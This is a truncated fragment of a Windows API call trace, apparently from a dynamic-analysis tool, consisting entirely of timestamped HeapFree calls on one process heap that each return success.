1 [0272.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0272.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0272.579] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0273.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0273.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0273.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0273.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0273.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0273.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0273.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0273.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0273.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0273.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0273.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0273.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.074] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.074] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.075] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.075] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.076] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.077] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.079] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.079] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.081] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.083] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0273.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0273.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0273.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cd128 | out: hHeap=0x640000) returned 1 [0273.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0273.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0273.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0273.569] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0273.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0273.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.978] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0273.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.076] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0274.077] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.812] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0275.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0275.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0275.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0275.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0276.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0276.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.548] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0279.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.550] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0279.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.557] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.557] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.557] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.557] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.557] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.557] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0279.604] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.605] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.605] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.606] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.606] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0279.607] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0279.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0279.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.950] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0279.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0279.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.548] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0280.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0280.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.557] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0280.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0280.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0280.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0280.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0280.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0280.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0280.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0280.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0280.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0280.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0280.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0280.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0280.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0280.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0280.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0280.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0280.582] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.584] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0280.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0280.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.588] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.588] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.588] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0280.589] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0280.590] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0280.591] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.591] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.600] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.719] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.723] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0280.723] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0280.723] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.723] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.723] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0280.728] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0280.729] HeapFree (in: 